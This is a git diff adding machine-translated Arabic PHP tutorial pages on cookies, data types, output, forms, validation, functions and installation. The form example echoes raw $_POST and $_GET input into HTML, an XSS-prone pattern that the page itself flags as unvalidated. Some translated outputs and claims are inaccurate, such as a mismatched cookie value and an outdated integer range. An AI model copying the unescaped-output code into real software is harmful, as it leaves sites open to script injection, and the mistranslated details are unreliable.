+يعني "/" أن ملف تعريف الارتباط متاح في موقع ويب كامل (آخر ، يمكنك تحديد الدليل الذي تفضله).  
+ثم نقوم باسترداد قيمة "مستخدم" ملف تعريف الارتباط (باستخدام المتغير الشامل $ \_COOKIE).  
+نستخدم أيضًا الدالة isset () لمعرفة ما إذا تم تعيين ملف تعريف الارتباط أم لا:
+
+**مثال:**
+
+ `<?php 
+ $cookie_name = "user"; 
+ $cookie_value = "John Doe"; 
+ setcookie($cookie_name, $cookie_value, time() + (86400 * 30), "/");  // 86400 = 1 day 
+ ?> 
+ <html> 
+ <body> 
+ 
+ <?php 
+ if(!isset($_COOKIE[$cookie_name])) { 
+    echo "Cookie named '" . $cookie_name . "' is not set!"; 
+ } else { 
+    echo "Cookie '" . $cookie_name . "' is set!<br>"; 
+    echo "Value is: " . $_COOKIE[$cookie_name]; 
+ } 
+ ?> 
+ </body> 
+ </html> 
+` 
+
+**ملاحظة:** يجب أن تظهر الدالة setcookie () **قبل** العلامة.
+
+انتاج:  
+تم تعيين Cookie 'user'!  
+القيمة هي: John Doe
+
+## PHP تعديل قيمة ملف تعريف الارتباط
+
+لتعديل ملف تعريف الارتباط ، ما عليك سوى تعيين القيمة مرة أخرى باستخدام الدالة setcookie ():
+
+**مثال:**
+
+ `<?php 
+ $cookie_name = "user"; 
+ $cookie_value = "Jane Porter"; 
+ setcookie($cookie_name, $cookie_value, time() + (86400 * 30), "/"); 
+ ?> 
+ <html> 
+ <body> 
+ 
+ <?php 
+ if(!isset($_COOKIE[$cookie_name])) { 
+    echo "Cookie named '" . $cookie_name . "' is not set!"; 
+ } else { 
+    echo "Cookie '" . $cookie_name . "' is set!<br>"; 
+    echo "Value is: " . $_COOKIE[$cookie_name]; 
+ } 
+ ?> 
+ 
+ </body> 
+ </html> 
+` 
+
+انتاج:  
+تم تعيين Cookie 'user'!  
+القيمة هي: أليكس بورتر
+
+## PHP حذف ملف تعريف الارتباط
+
+لحذف ملف تعريف ارتباط ، استخدم الدالة setcookie () ذات تاريخ انتهاء الصلاحية في الماضي:
+
+**مثال:**
+
+ `<?php 
+ // set the expiration date to one hour ago 
+ setcookie("user", "", time() - 3600); 
+ ?> 
+ <html> 
+ <body> 
+ 
+ <?php 
+ echo "Cookie 'user' is deleted."; 
+ ?> 
+ 
+ </body> 
+ </html> 
+` 
+
+انتاج:  
+يتم حذف Cookie 'user'.
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/php-data-types/index.md b/client/src/guide/arabic/php/php-data-types/index.md
new file mode 100644
index 0000000000..c7bdb58436
--- /dev/null
+++ b/client/src/guide/arabic/php/php-data-types/index.md
@@ -0,0 +1,103 @@
+---
+title: PHP Data Types
+localeTitle: أنواع البيانات PHP
+---
+# أنواع البيانات PHP
+
+يمكن للمتغيرات تخزين البيانات من أنواع مختلفة مثل:
+
+*   سلسلة ("مرحبا")
+*   عدد صحيح (5)
+*   طفو (يسمى أيضا مزدوج) (1.0)
+*   منطقية (1 أو 0)
+*   المصفوفة (صفيف ("I" ، "am" ، "an" ، "array"))
+*   موضوع
+*   لا شيء
+*   مورد
+
+## سلسلة PHP
+
+السلسلة هي سلسلة من الحروف. يمكن أن يكون أي نص داخل علامات اقتباس (مفرد أو مزدوج):
+
+#### مثال
+
+ `$x = "Hello!"; 
+ $y = 'Hello!'; 
+` 
+
+## PHP Integer
+
+نوع بيانات عدد صحيح هو رقم عشري بين -2،147،483،648 و 2،147،483،647.
+
+قواعد الأعداد الصحيحة:
+
+*   يجب أن يتكون عدد صحيح من رقم واحد على الأقل
+*   يجب ألا يكون العدد الصحيح عشري
+*   يمكن أن يكون عددًا صحيحًا إما إيجابيًا أو سلبيًا
+*   يمكن تحديد الأعداد الصحيحة في ثلاثة أشكال: عشري (10-based) ، سداسي عشري (16-based-prefixed with 0x) أو octal (8-based - مسبوقة بـ 0)
+
+#### مثال
+
+`$x = 5;`
+
+## PHP Float
+
+عائم (رقم النقطة العائمة) هو رقم به علامة عشرية أو رقم في شكل أسي.
+
+#### مثال
+
+`$x = 5.01;`
+
+## PHP منطقية
+
+Boolean يمثل حالتين محتملتين: TRUE أو FALSE. يتم استخدام Booleans غالبًا في الاختبارات الشرطية.
+
+ `$x = true; 
+ $y = false; 
+` 
+
+## صفيف PHP
+
+صفيف بتخزين قيم متعددة في متغير واحد.
+
+`$colours = array("Blue","Purple","Pink");`
+
+## قيمة PHP NULL
+
+Null هو نوع بيانات خاص يمكن أن يكون له قيمة واحدة فقط: NULL.  
+المتغير من نوع البيانات NULL هو متغير ليس له قيمة محددة له.  
+يمكن أيضاً إفراغ متغيرات عن طريق تعيين القيمة إلى NULL.
+
+**ملاحظة:** إذا تم إنشاء متغير بدون قيمة ، فسيتم تعيين قيمة فارغة له تلقائيًا.
+
+ `<?php 
+ $x = "Hello world!"; 
+ $x = null; 
+ ?> 
+` 
+
+انتاج:  
+لا شيء
+
+## كائن PHP
+
+الكائن هو نوع بيانات يخزن البيانات والمعلومات حول كيفية معالجة تلك البيانات.  
+في PHP ، يجب أن يتم الإعلان عن كائن صريح.  
+أولا يجب أن نعلن عن فئة من الأشياء. الفئة هي بنية يمكن أن تحتوي على خصائص وأساليب.
+
+**مثال:**
+
+ `<?php 
+ class Car { 
+    function Car() { 
+        $this->model = "VW"; 
+    } 
+ } 
+ 
+ // create an object 
+ $herbie = new Car(); 
+ 
+ // show object properties 
+ echo $herbie->model; 
+ ?> 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/php-echo-print/index.md b/client/src/guide/arabic/php/php-echo-print/index.md
new file mode 100644
index 0000000000..51b36d0286
--- /dev/null
+++ b/client/src/guide/arabic/php/php-echo-print/index.md
@@ -0,0 +1,84 @@
+---
+title: PHP 5 echo and print Statements
+localeTitle: PHP 5 صدى وطباعة البيانات
+---
+في PHP هناك طريقتان أساسيتان للحصول على الإخراج: الصدى والطباعة.
+
+في هذا البرنامج التعليمي ، نستخدم الصدى (والطباعة) في كل مثال تقريبًا. لذلك ، يحتوي هذا الفصل على مزيد من المعلومات حول هذين البيانين الإخراج.
+
+### PHP صدى وطباعة البيانات
+
+صدى وطباعة هي أكثر أو أقل نفس. كلاهما يستخدم لإخراج البيانات إلى الشاشة.
+
+الاختلافات صغيرة: الصدى ليس له قيمة إرجاع بينما الطباعة لها قيمة إرجاع 1 بحيث يمكن استخدامها في التعبيرات. يمكن أن يأخذ الصدى عدة معلمات (على الرغم من أن هذا الاستخدام نادر الحدوث) بينما يمكن أن تأخذ الطباعة حجة واحدة. صدى هو أسرع بشكل طفيف من الطباعة.
+
+### بيان صدى بي
+
+يمكن استخدام عبارة echo مع الأقواس أو بدونها: echo أو echo ().
+
+#### عرض النص
+
+يوضح المثال التالي كيفية إخراج النص باستخدام الأمر echo (لاحظ أن النص يمكن أن يحتوي على ترميز HTML):
+
+#### مثال
+
+ `<?php 
+ echo "<h2>PHP is Fun!</h2>"; 
+ echo "Hello world!<br>"; 
+ echo "I'm about to learn PHP!<br>"; 
+ echo "This ", "string ", "was ", "made ", "with multiple parameters."; 
+ ?> 
+` 
+
+#### عرض المتغيرات
+
+يوضح المثال التالي كيفية إخراج النص والمتغيرات باستخدام عبارة echo:
+
+#### مثال
+
+ `<?php 
+ $txt1 = "Learn PHP"; 
+ $txt2 = "W3Schools.com"; 
+ $x = 5; 
+ $y = 4; 
+ 
+ echo "<h2>" . $txt1 . "</h2>"; 
+ echo "Study PHP at " . $txt2 . "<br>"; 
+ echo $x + $y; 
+ ?> 
+` 
+
+### بيان طباعة PHP
+
+يمكن استخدام بيان الطباعة مع أو بدون الأقواس: print أو print ().
+
+#### عرض النص
+
+يوضح المثال التالي كيفية إخراج النص باستخدام أمر الطباعة (لاحظ أن النص يمكن أن يحتوي على ترميز HTML):
+
+#### مثال
+
+ `<?php 
+ print "<h2>PHP is Fun!</h2>"; 
+ print "Hello world!<br>"; 
+ print "I'm about to learn PHP!"; 
+ ?> 
+` 
+
+#### عرض المتغيرات
+
+يوضح المثال التالي كيفية إخراج النص والمتغيرات باستخدام عبارة الطباعة:
+
+#### مثال
+
+ `<?php 
+ $txt1 = "Learn PHP"; 
+ $txt2 = "W3Schools.com"; 
+ $x = 5; 
+ $y = 4; 
+ 
+ print "<h2>" . $txt1 . "</h2>"; 
+ print "Study PHP at " . $txt2 . "<br>"; 
+ print $x + $y; 
+ ?> 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/php-expressions/index.md b/client/src/guide/arabic/php/php-expressions/index.md
new file mode 100644
index 0000000000..ccf952b670
--- /dev/null
+++ b/client/src/guide/arabic/php/php-expressions/index.md
@@ -0,0 +1,11 @@
+---
+title: PHP Expressions
+localeTitle: تعبيرات PHP
+---
+## تعبيرات PHP
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/php/php-expressions/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/php-form-handling/index.md b/client/src/guide/arabic/php/php-form-handling/index.md
new file mode 100644
index 0000000000..b4f19b9437
--- /dev/null
+++ b/client/src/guide/arabic/php/php-form-handling/index.md
@@ -0,0 +1,109 @@
+---
+title: PHP 5 Form Handling
+localeTitle: PHP 5 التعامل مع النموذج
+---
+يتم استخدام PG superglobals $ _GET و $_ POST لجمع بيانات النموذج.
+
+### PHP - نموذج HTML بسيط
+
+يعرض المثال التالي نموذج HTML بسيط يحتوي على حقلي إدخال و زر إرسال:
+
+#### مثال
+
+ `<html> 
+ <body> 
+ 
+ <form action="welcome.php" method="post"> 
+ Name: <input type="text" name="name"><br> 
+ E-mail: <input type="text" name="email"><br> 
+ <input type="submit"> 
+ </form> 
+ 
+ </body> 
+ </html> 
+` 
+
+عندما يملأ المستخدم النموذج أعلاه وينقر على زر الإرسال ، يتم إرسال بيانات النموذج للمعالجة إلى ملف PHP المسمى "welcome.php". يتم إرسال بيانات النموذج باستخدام طريقة HTTP POST.
+
+لعرض البيانات المقدمة ، يمكنك ببساطة ترديد كل المتغيرات. يبدو "welcome.php" كما يلي:
+
+ `<html> 
+ <body> 
+ 
+ Welcome <?php echo $_POST["name"]; ?><br> 
+ Your email address is: <?php echo $_POST["email"]; ?> 
+ 
+ </body> 
+ </html> 
+` 
+
+يمكن أن يكون الإخراج شيء من هذا القبيل:
+
+ `Welcome John 
+ Your email address is john.doe@example.com 
+` 
+
+يمكن تحقيق نفس النتيجة باستخدام طريقة HTTP GET:
+
+#### مثال
+
+ `<html> 
+ <body> 
+ 
+ <form action="welcome_get.php" method="get"> 
+ Name: <input type="text" name="name"><br> 
+ E-mail: <input type="text" name="email"><br> 
+ <input type="submit"> 
+ </form> 
+ 
+ </body> 
+ </html> 
+` 
+
+و "welcome\_get.php" يشبه هذا:
+
+ `<html> 
+ <body> 
+ 
+ Welcome <?php echo $_GET["name"]; ?><br> 
+ Your email address is: <?php echo $_GET["email"]; ?> 
+ 
+ </body> 
+ </html> 
+` 
+
+الرمز أعلاه بسيط للغاية. ومع ذلك ، فإن الشيء الأكثر أهمية مفقود. يلزمك التحقق من صحة بيانات النموذج لحماية النص البرمجي من الشفرة الضارة.
+
+> **أعتقد الأمن عند معالجة أشكال PHP!**
+> 
+> لا تحتوي هذه الصفحة على أي شكل من أشكال التحقق من الصحة ، وإنما تظهر فقط كيف يمكنك إرسال واسترداد بيانات النموذج.
+> 
+> ومع ذلك ، ستعرض الصفحات التالية كيفية معالجة نماذج PHP مع أخذ الأمان في الاعتبار! من المهم التحقق السليم من بيانات النموذج من أجل حماية نموذجك من المخترقين ومرسلي الرسائل غير المرغوب فيها!
+
+### الحصول على مقابل POST
+
+يقوم كل من GET و POST بإنشاء مصفوفة (مثل الصفيف (key => value، key2 => value2، key3 => value3،…)). تحتفظ هذه الصفيف بأزواج المفاتيح / القيم ، حيث المفاتيح هي أسماء عناصر تحكم النموذج والقيم هي بيانات الإدخال من المستخدم.
+
+يتم التعامل مع كل من GET و POST على أنها $ _GET و $_ POST. هذه هي superglobals ، مما يعني أنها يمكن الوصول إليها دائمًا ، بغض النظر عن النطاق - ويمكنك الوصول إليها من أي وظيفة أو فصل دراسي أو ملف دون الحاجة إلى القيام بأي شيء خاص.
+
+$ \_GET عبارة عن صفيف من المتغيرات التي تم تمريرها إلى النص البرمجي الحالي عبر معلمات URL.
+
+$ \_POST عبارة عن صفيف من المتغيرات التي تم تمريرها إلى البرنامج النصي الحالي عبر أسلوب HTTP POST.
+
+### متى تستخدم GET؟
+
+تكون المعلومات المرسلة من نموذج باستخدام طريقة GET مرئية للجميع (يتم عرض جميع أسماء المتغيرات والقيم في عنوان URL). لديه أيضا حدود على كمية المعلومات لإرسالها. الحد الأقصى هو 2000 حرف. ومع ذلك ، نظرًا لأنه يتم عرض المتغيرات في عنوان URL ، فمن الممكن وضع علامة على الصفحة. هذا يمكن أن يكون مفيدا في بعض الحالات.
+
+يمكن استخدام GET لإرسال بيانات غير حساسة.
+
+**ملاحظة:** يجب ألا تستخدم GET أبداً لإرسال كلمات المرور أو المعلومات الحساسة الأخرى!
+
+### متى تستخدم POST؟
+
+المعلومات المرسلة من نموذج باستخدام طريقة POST غير **مرئية للآخرين** (جميع الأسماء / القيم مضمنة داخل نص طلب HTTP) وليس لها **حدود** على كمية المعلومات التي يتم إرسالها.
+
+علاوة على ذلك ، يدعم POST وظائف متقدمة مثل دعم الإدخال الثنائي متعدد الأجزاء أثناء تحميل الملفات إلى الخادم.
+
+ومع ذلك ، نظرًا لعدم عرض المتغيرات في عنوان URL ، لا يمكن وضع علامة على الصفحة.
+
+> **يفضل المطورون POST لإرسال بيانات النموذج.**
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/php-form-required/index.md b/client/src/guide/arabic/php/php-form-required/index.md
new file mode 100644
index 0000000000..1771a5caa3
--- /dev/null
+++ b/client/src/guide/arabic/php/php-form-required/index.md
@@ -0,0 +1,87 @@
+---
+title: PHP 5 Forms - Required Fields
+localeTitle: نماذج PHP 5 - الحقول المطلوبة
+---
+يوضح هذا الفصل كيفية جعل حقول الإدخال مطلوبة وإنشاء رسائل خطأ إذا لزم الأمر.
+
+### PHP - الحقول المطلوبة
+
+من جدول قواعد التحقق من الصحة الموجود في الصفحة السابقة ، نرى أن حقول "الاسم" و "البريد الإلكتروني" و "الجنس" مطلوبة. لا يمكن أن تكون هذه الحقول فارغة ويجب تعبئتها في نموذج HTML.
+
+| المجال | قواعد التحقق من الصحة | | --- | --- | اسم | مطلوب | + يجب أن يحتوي فقط على الحروف والمسافات البيضاء البريد الإلكتروني | مطلوب. + يجب أن يحتوي على عنوان بريد إلكتروني صالح (مع @ و.) | الموقع الإلكتروني | إذا كان موجودًا ، يجب أن يحتوي على عنوان URL صالح تعليق | اختياري. حقل الإدخال متعدد الخطوط (textarea) | الجنس: مطلوب. يجب اختيار واحد
+
+في الفصل السابق ، كانت جميع حقول الإدخال اختيارية.
+
+في الشفرة التالية ، أضفنا بعض المتغيرات الجديدة: $ nameErr و $ emailErr و genderErr و $ websiteErr. سوف تحتوي متغيرات الخطأ هذه على رسائل خطأ للحقول المطلوبة. لقد أضفنا أيضًا جملة if else لكل _متغير POST_ $ _. يتحقق هذا إذا كان_ متغير POST _$_ فارغًا (مع وظيفة PHP فارغة ()). إذا كانت فارغة ، يتم تخزين رسالة خطأ في متغيرات الخطأ المختلفة ، وإذا لم تكن فارغة ، فإنها ترسل بيانات إدخال المستخدم من خلال الدالة test\_input ():
+
+ `<?php 
+ // define variables and set to empty values 
+ $nameErr = $emailErr = $genderErr = $websiteErr = ""; 
+ $name = $email = $gender = $comment = $website = ""; 
+ 
+ if ($_SERVER["REQUEST_METHOD"] == "POST") { 
+  if (empty($_POST["name"])) { 
+    $nameErr = "Name is required"; 
+  } else { 
+    $name = test_input($_POST["name"]); 
+  } 
+ 
+  if (empty($_POST["email"])) { 
+    $emailErr = "Email is required"; 
+  } else { 
+    $email = test_input($_POST["email"]); 
+  } 
+ 
+  if (empty($_POST["website"])) { 
+    $website = ""; 
+  } else { 
+    $website = test_input($_POST["website"]); 
+  } 
+ 
+  if (empty($_POST["comment"])) { 
+    $comment = ""; 
+  } else { 
+    $comment = test_input($_POST["comment"]); 
+  } 
+ 
+  if (empty($_POST["gender"])) { 
+    $genderErr = "Gender is required"; 
+  } else { 
+    $gender = test_input($_POST["gender"]); 
+  } 
+ } 
+ ?> 
+` 
+
+### PHP - عرض رسائل الخطأ
+
+ثم في نموذج HTML ، نضيف نصًا صغيرًا بعد كل حقل مطلوب ، مما ينشئ رسالة الخطأ الصحيحة إذا لزم الأمر (وهذا إذا حاول المستخدم إرسال النموذج دون ملء الحقول المطلوبة):
+
+#### مثال
+
+ `<form method="post" action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?>"> 
+ 
+ Name: <input type="text" name="name"> 
+ <span class="error">* <?php echo $nameErr;?></span> 
+ <br><br> 
+ E-mail: 
+ <input type="text" name="email"> 
+ <span class="error">* <?php echo $emailErr;?></span> 
+ <br><br> 
+ Website: 
+ <input type="text" name="website"> 
+ <span class="error"><?php echo $websiteErr;?></span> 
+ <br><br> 
+ Comment: <textarea name="comment" rows="5" cols="40"></textarea> 
+ <br><br> 
+ Gender: 
+ <input type="radio" name="gender" value="female">Female 
+ <input type="radio" name="gender" value="male">Male 
+ <span class="error">* <?php echo $genderErr;?></span> 
+ <br><br> 
+ <input type="submit" name="submit" value="Submit"> 
+ 
+ </form> 
+` 
+
+الخطوة التالية هي التحقق من صحة بيانات الإدخال ، أي "هل يحتوي حقل الاسم على أحرف و مسافة بيضاء فقط؟" ، و "هل يحتوي حقل البريد الإلكتروني على بناء عنوان بريد إلكتروني صالح؟" ، وإذا تم تعبئته ، " هل يحتوي حقل موقع الويب على عنوان URL صالح؟ ".
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/php-forms-url-email/index.md b/client/src/guide/arabic/php/php-forms-url-email/index.md
new file mode 100644
index 0000000000..f11c52c7cd
--- /dev/null
+++ b/client/src/guide/arabic/php/php-forms-url-email/index.md
@@ -0,0 +1,96 @@
+---
+title: PHP 5 Forms - Validate E-mail and URL
+localeTitle: نماذج PHP 5 - التحقق من البريد الإلكتروني وعنوان URL
+---
+يوضح هذا الفصل كيفية التحقق من صحة الأسماء ورسائل البريد الإلكتروني وعناوين URL.
+
+### PHP - التحقق من صحة الاسم
+
+يعرض الرمز أدناه طريقة بسيطة للتحقق مما إذا كان حقل الاسم يحتوي فقط على أحرف ومسافة بيضاء. إذا كانت قيمة حقل الاسم غير صالحة ، فقم بتخزين رسالة خطأ:
+
+ `$name = test_input($_POST["name"]); 
+ if (!preg_match("/^[a-zA-Z ]*$/",$name)) { 
+  $nameErr = "Only letters and white space allowed"; 
+ } 
+` 
+
+> **تقوم الدالة preg\_match () بالبحث عن سلسلة للنمط ، وإرجاع true إذا كان النمط موجودًا ، والخطأ بخلاف ذلك.**
+
+### PHP - التحقق من صحة البريد الإلكتروني
+
+الطريقة الأسهل والأكثر أمانا للتحقق من صحة عنوان البريد الإلكتروني هي استخدام وظيفة filter\_var () في PHP.
+
+في الرمز أدناه ، إذا لم يكن عنوان البريد الإلكتروني جيدًا ، فقم بتخزين رسالة خطأ:
+
+ `$email = test_input($_POST["email"]); 
+ if (!filter_var($email, FILTER_VALIDATE_EMAIL)) { 
+  $emailErr = "Invalid email format"; 
+ } 
+` 
+
+### PHP - التحقق من صحة URL
+
+يعرض الرمز أدناه طريقة للتحقق مما إذا كان بناء جملة عنوان URL صحيحًا (يسمح هذا التعبير العادي أيضًا بشروط في عنوان URL). إذا كان بناء جملة عنوان URL غير صالح ، فقم بتخزين رسالة خطأ:
+
+ `$website = test_input($_POST["website"]); 
+ if (!preg_match("/\b(?:(?:https?|ftp):\/\/|www\.)[-a-z0-9+&@#\/%?=~_|!:,.;]*[-a-z0-9+&@#\/%=~_|]/i",$website)) { 
+  $websiteErr = "Invalid URL"; 
+ } 
+` 
+
+### PHP - التحقق من صحة الاسم والبريد الإلكتروني وعنوان URL
+
+الآن ، يبدو النص كالتالي:
+
+#### مثال
+
+ `<?php 
+ // define variables and set to empty values 
+ $nameErr = $emailErr = $genderErr = $websiteErr = ""; 
+ $name = $email = $gender = $comment = $website = ""; 
+ 
+ if ($_SERVER["REQUEST_METHOD"] == "POST") { 
+  if (empty($_POST["name"])) { 
+    $nameErr = "Name is required"; 
+  } else { 
+    $name = test_input($_POST["name"]); 
+    // check if name only contains letters and whitespace 
+    if (!preg_match("/^[a-zA-Z ]*$/",$name)) { 
+      $nameErr = "Only letters and white space allowed"; 
+    } 
+  } 
+ 
+  if (empty($_POST["email"])) { 
+    $emailErr = "Email is required"; 
+  } else { 
+    $email = test_input($_POST["email"]); 
+    // check if e-mail address is well-formed 
+    if (!filter_var($email, FILTER_VALIDATE_EMAIL)) { 
+      $emailErr = "Invalid email format"; 
+    } 
+  } 
+ 
+  if (empty($_POST["website"])) { 
+    $website = ""; 
+  } else { 
+    $website = test_input($_POST["website"]); 
+    // check if URL address syntax is valid (this regular expression also allows dashes in the URL) 
+    if (!preg_match("/\b(?:(?:https?|ftp):\/\/|www\.)[-a-z0-9+&@#\/%?=~_|!:,.;]*[-a-z0-9+&@#\/%=~_|]/i",$website)) { 
+      $websiteErr = "Invalid URL"; 
+    } 
+  } 
+ 
+  if (empty($_POST["comment"])) { 
+    $comment = ""; 
+  } else { 
+    $comment = test_input($_POST["comment"]); 
+  } 
+ 
+  if (empty($_POST["gender"])) { 
+    $genderErr = "Gender is required"; 
+  } else { 
+    $gender = test_input($_POST["gender"]); 
+  } 
+ } 
+ ?> 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/php-functions/index.md b/client/src/guide/arabic/php/php-functions/index.md
new file mode 100644
index 0000000000..33942030ff
--- /dev/null
+++ b/client/src/guide/arabic/php/php-functions/index.md
@@ -0,0 +1,217 @@
+---
+title: PHP functions
+localeTitle: وظائف PHP
+---
+تشبه وظائف PHP لغات البرمجة الأخرى. الدالة هي جزء من الكود يأخذ مدخلاً أكثر في شكل معلمة ويقوم ببعض المعالجة ويعيد قيمة.
+
+لقد سبق لك أن شاهدت العديد من الوظائف مثل fopen () و fread () وما إلى ذلك. إنها وظائف مدمجة ولكن PHP يمنحك خيارًا لإنشاء وظائفك الخاصة أيضًا.
+
+هناك جزئين يجب أن يكونا واضحين لك -
+
+### خلق وظيفة PHP
+
+استدعاء وظيفة PHP في الواقع لا تحتاج إلى إنشاء وظيفة PHP الخاصة بك لأن هناك بالفعل أكثر من 1000 من وظائف المكتبة المدمجة التي تم إنشاؤها لمنطقة مختلفة وتحتاج فقط إلى الاتصال بهم وفقا لمتطلباتكم.
+
+يرجى الرجوع إلى PHP Function Reference للحصول على مجموعة كاملة من الوظائف المفيدة.
+
+خلق وظيفة PHP من السهل جدا لخلق وظيفة PHP الخاصة بك. افترض أنك تريد إنشاء وظيفة PHP والتي ستقوم ببساطة بكتابة رسالة بسيطة على متصفحك عندما تسميها. المثال التالي يقوم بإنشاء دالة تسمى writeMessage () ثم يقوم باستدعائها فقط بعد إنشائها.
+
+لاحظ أنه أثناء إنشاء دالة ، يجب أن يبدأ اسمها بوظيفة الكلمة الرئيسية ويجب وضع كل شفرة PHP داخل {و} الأقواس كما هو موضح في المثال التالي أدناه
+
+ `<html> 
+ 
+   <head> 
+      <title>Writing PHP Function</title> 
+   </head> 
+ 
+   <body> 
+ 
+      <?php 
+         /* Defining a PHP Function */ 
+         function writeMessage() { 
+            echo "You are really a nice person, Have a nice time!"; 
+         } 
+ 
+         /* Calling a PHP Function */ 
+         writeMessage(); 
+      ?> 
+ 
+   </body> 
+ </html> 
+` 
+
+سيظهر هذا النتيجة التالية -
+
+ `You are really a nice person, Have a nice time! 
+` 
+
+### وظائف PHP مع المعلمات
+
+يمنحك PHP خيار تمرير المعلمات داخل إحدى الوظائف. يمكنك تمرير العديد من المعلمات مثل الخاص بك. تعمل هذه المعلمات مثل المتغيرات داخل وظيفتك. يأخذ المثال التالي معلمتين صحيحتين ويضيفانهما معاً ثم يطبعانهما.
+
+ `<html> 
+ 
+   <head> 
+      <title>Writing PHP Function with Parameters</title> 
+   </head> 
+ 
+   <body> 
+ 
+      <?php 
+         function addFunction($num1, $num2) { 
+            $sum = $num1 + $num2; 
+            echo "Sum of the two numbers is : $sum"; 
+         } 
+ 
+         addFunction(10, 20); 
+      ?> 
+ 
+   </body> 
+ </html> 
+` 
+
+سيظهر هذا النتيجة التالية -
+
+ `Sum of the two numbers is : 30 
+` 
+
+### تمرير الحجج حسب المرجع
+
+من الممكن تمرير الحجج إلى الوظائف حسب المرجع. وهذا يعني أن الإشارة إلى المتغير يتم معالجتها بواسطة الدالة بدلاً من نسخة من قيمة المتغير.
+
+أي تغييرات يتم إجراؤها على وسيطة في هذه الحالات ستغير قيمة المتغير الأصلي. يمكنك تمرير وسيطة بالرجوع عن طريق إضافة علامة العطف إلى اسم المتغير إما في استدعاء الدالة أو تعريف الدالة.
+
+المثال التالي يصور كلتا الحالتين.
+
+ `<html> 
+ 
+   <head> 
+      <title>Passing Argument by Reference</title> 
+   </head> 
+ 
+   <body> 
+ 
+      <?php 
+         function addFive($num) { 
+            $num += 5; 
+         } 
+ 
+         function addSix(&$num) { 
+            $num += 6; 
+         } 
+ 
+         $orignum = 10; 
+         addFive( $orignum ); 
+ 
+         echo "Original Value is $orignum<br />"; 
+ 
+         addSix( $orignum ); 
+         echo "Original Value is $orignum<br />"; 
+      ?> 
+ 
+   </body> 
+ </html> 
+` 
+
+سيظهر هذا النتيجة التالية -
+
+ `Original Value is 10 
+ Original Value is 16 
+` 
+
+### وظائف PHP العودة القيمة
+
+يمكن أن تقوم الدالة بإرجاع قيمة باستخدام عبارة الإرجاع بالاقتران مع قيمة أو كائن. العودة توقف تنفيذ وظيفة ويرسل القيمة مرة أخرى إلى رمز الاتصال.
+
+يمكنك إرجاع أكثر من قيمة واحدة من دالة باستخدام صفيف الإرجاع (1،2،3،4).
+
+المثال التالي يأخذ معلمتين صحيحتين ويضيفانهما معاً ثم يعيدان مجموعهما إلى برنامج الاستدعاء. لاحظ أنه يتم استخدام الكلمة الرئيسية الإرجاع لإرجاع قيمة من دالة.
+
+ `<html> 
+ 
+   <head> 
+      <title>Writing PHP Function which returns value</title> 
+   </head> 
+ 
+   <body> 
+ 
+      <?php 
+         function addFunction($num1, $num2) { 
+            $sum = $num1 + $num2; 
+            return $sum; 
+         } 
+         $return_value = addFunction(10, 20); 
+ 
+         echo "Returned value from the function : $return_value"; 
+      ?> 
+ 
+   </body> 
+ </html> 
+` 
+
+سيظهر هذا النتيجة التالية -
+
+ `Returned value from the function : 30 
+` 
+
+### ضبط القيم الافتراضية لمعلمات الدالة
+
+يمكنك تعيين معلمة بحيث يكون لديك قيمة افتراضية إذا كان المتصل التابع للوظيفة لا يمررها.
+
+طباعة الدالة التالية لا تستخدم قيمة NULL في حالة الاستخدام أي قيمة لهذه الوظيفة.
+
+ `<html> 
+ 
+   <head> 
+      <title>Writing PHP Function which returns value</title> 
+   </head> 
+ 
+   <body> 
+ 
+      <?php 
+         function printMe($param = NULL) { 
+            print $param; 
+         } 
+ 
+         printMe("This is test"); 
+         printMe(); 
+      ?> 
+ 
+   </body> 
+ </html> 
+` 
+
+هذا سينتج النتيجة التالية -
+
+ `This is test 
+` 
+
+### المكالمات الديناميكية
+
+من الممكن تعيين أسماء الدوال كسلاسل إلى المتغيرات ثم التعامل مع هذه المتغيرات تمامًا كما تفعل مع اسم الوظيفة نفسه. المثال التالي يصور هذا السلوك.
+
+ `<html> 
+ 
+   <head> 
+      <title>Dynamic Function Calls</title> 
+   </head> 
+ 
+   <body> 
+ 
+      <?php 
+         function sayHello() { 
+            echo "Hello<br />"; 
+         } 
+ 
+         $function_holder = "sayHello"; 
+         $function_holder(); 
+      ?> 
+ 
+   </body> 
+ </html> 
+` 
+
+سيظهر هذا النتيجة التالية -
+
+ `Hello 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/php/php-install/index.md b/client/src/guide/arabic/php/php-install/index.md
new file mode 100644
index 0000000000..1f64c8e559
--- /dev/null
+++ b/client/src/guide/arabic/php/php-install/index.md
@@ -0,0 +1,28 @@
+---
+title: PHP Install
+localeTitle: تثبيت PHP
+---
+### ماذا أحتاج للتركيب؟
+
+لبدء استخدام PHP ، يمكنك:
+
+ابحث عن مضيف ويب مع دعم PHP و MySQL. قم بتثبيت خادم ويب على جهاز الكمبيوتر الخاص بك ، ثم قم بتثبيت PHP و MySQL. يمكنك التحقق من الروابط التالية للحصول على خادم PHP و MYSQL لإنشاء envinonment محلية ل PHP لتشغيل: خادم الويب: https://httpd.apache.org/download.cgi قاعدة البيانات: https://www.mysql.com/downloads/
+
+### PHP محلل التثبيت
+
+قبل المتابعة ، من المهم التأكد من إعداد البيئة المناسبة على جهازك لتطوير برامج الويب الخاصة بك باستخدام PHP.
+
+اكتب العنوان التالي في مربع عنوان المتصفح الخاص بك.
+
+ `http://127.0.0.1/info.php 
+` 
+
+إذا كان هذا يعرض صفحة تعرض معلومات تثبيت PHP الخاصة بك ، فهذا يعني أنه لديك PHP و Webserver مثبت بشكل صحيح.
+
+### إعداد PHP على جهاز الكمبيوتر الخاص بك
+
+ومع ذلك ، إذا كان خادمك لا يدعم PHP ، فيجب عليك: تثبيت خادم الويب تثبيت PHP تثبيت قاعدة بيانات ، مثل MySQ.
+
+### معلومات اكثر
+
